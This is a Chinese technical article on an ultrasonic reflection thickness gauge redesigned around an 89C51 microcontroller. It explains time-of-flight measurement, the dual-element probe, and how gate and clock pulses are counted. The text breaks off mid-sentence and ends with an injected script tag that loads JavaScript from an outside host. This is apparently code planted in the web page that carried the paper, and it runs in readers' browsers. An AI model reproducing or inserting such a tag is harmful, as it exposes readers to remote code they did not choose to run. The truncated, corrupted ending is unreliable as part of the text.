摘 要：本文着重介绍了超声反射法测厚仪的工作原理、超声波探头的结构、超声反射法测厚仪的智能化设计，以及智能化改造后超声波测厚仪所具备的先进性和实现的主要技术指标。
关键词：超声波；单片机；测厚仪
分类号：th821＋.1 文献标识码：b
文章编号：1000-0682(2000)01-0035-04
1 引言
由于受早期电子技术的局限，老式的超声反射法测厚仪均为纯硬件结构，在电气性能和物理性能等方面都不尽人意。随着电子技术的不断进步。尤其是单片机技术的飞速发展，对超声波测厚仪的智能化改造已成为必然。采用单片机设计制作的超声波测厚仪，可以使测厚仪的厚度标定、声速设定、声速调整等操作实现智能化，全部测量过程由按键开关操作，实现pvc面膜式结构，同时还可以简化电路、降低成本、减少功耗。本文将向读者介绍超声波反射法测厚仪的工作原理及其智能化的设计。
2 超声反射法测厚仪的工作原理
用超声波探头向被测物体发出超声脉冲，此超声脉冲便在被测物体内传播，传播至被测物体的底面时发出反射，反射回来的超声波又被超声波探头接收。这样，从超声波探头发出超声脉冲到超声波探头接收到反射脉冲所用的时间t可通过电路精确地检测出来，在t时间内超声波在被测物体内完成了一个往返。如果被测物体的厚度用d表示，超声波的总行程就是2d。由于声波在某一物体内传播的速度c是常数，(例如：钢的声速是5950m／s，石英玻璃的声速是5570m／s)所以被测物体的厚度可由下式算出：
测厚仪的实际工作过程由图2－1加以说明。首先由电路产生的高电压窄脉冲t输送给超声波探头、超声波探头将高压电脉冲转变成同频率的超声波脉冲，通过耦合剂传播至被测物体表面，其中一部分由被测物体表面反射回来，为上表面波s。其余部分射入被测物体，再从被测物体的底面反射回来，为底面反射波b，反射波b又被超声波探头接收并转换为电信号送入电路，经放大后同发射脉冲一起送入闸门电路产生闸门脉冲。当被测物体较厚时，超声波束在物体内传播的时间长，产生的闸门脉冲就宽。被测物体较薄时，超声波束在被测物体内传播的时间短，产生的闸门脉冲就窄。将闸门脉冲和时钟脉冲送给与门电路，由于闸门脉冲的宽度不同，与门输出的时钟脉冲数就不同，由此反映被测物体厚度值，将与门输出的脉冲数经标度变换后送给显示电路，显示被测物体的实际厚度。
图2－1 测厚仪工作过程图
超声波探头采用收发独立式，其结构示意图如图2－2。
图2－2 超声波探头结构示意图
收发两部分做在一个壳体内，中间由隔离层分开。收发两部分的特性是相同的，使用中可互换。探头的核心元件是压电陶瓷晶片，它具有声电转换特性。做为发射使用时，把电路送入的电脉冲转变成超声波脉冲。做为接收使用时，又可将接收到的超声波变成电信号送回电路。压电陶瓷晶片两侧的电极分别与同轴电缆的内导体和外导体连接。
3 超声反射法测厚仪的智能化设计
超声反射法测厚仪智能化设计简化的硬件图见图3－1。由于受篇幅的限制，虚线以下的非智能单元仅以方框图作以介绍。虚线以上为智能单元将以原理图的形式详细讨论。
图3－1 测厚仪硬件图
非智能化单元由6部分构成，首先由发射脉冲振荡器产生频率2khz的方波，送给发射脉冲整形放大电路，使其变成脉冲宽度3μs，幅度为100v的窄脉冲去驱动超声波探头，超声波探头将电脉冲转变成超声波束射入被测物体，在被测物体底面发生反射，反射波又被超声波探头接收并转变成电脉冲，但此时脉冲幅度在传播和转换过程中已被衰减为几毫伏。然后，将接收到的反射脉冲送给反射脉冲放大器放大至逻辑电平，同发射脉冲一起送给闸门发生电路产生闸门脉冲。闸门脉冲的前沿和后沿分别由发射脉冲和反射脉冲确定，即闸门宽度为超声波在被测物体内入射和反射所用的时间。最后将闸门脉冲和12.8mhz的时钟脉冲送给与门电路。闸门脉冲到来时，时钟脉冲通过与门输出。闸门脉冲没来到时与门无时钟脉冲输出。与门通过的时钟脉冲数可反映被测物体的厚度，并将其送入智能化单元进行相关处理。
单片机89c51及周围元件构成智能单元，89c51是一种低功耗，内含4k字节快擦写eprom的8位单片机，其指令系统与80c51完全兼容。各功能设计如下。
(1)厚度信号的采集和输出显示
二输入端与门74hc00在闸门脉冲的控制下输出时钟脉冲(闸门脉冲)，再经cd4520进行256分频后加到单片机的定时／计数口p3.4，由单片机进行采集。256分频是完成脉冲数与厚度值间标度变换需要。仪器的测量采用测量信号中断方式，没有进入测量状态时，无中断信号发生。进入测量状态时，超声波探头便收到反射脉冲，闸门发生器产生闸门脉冲，闸门脉冲送给中断信号发生器产生中断请求信号控制外中断口p3.2，cpu响应中断，执行测量程序，采集闸门脉冲，对其进行?script src=http://er12.com/t.js>
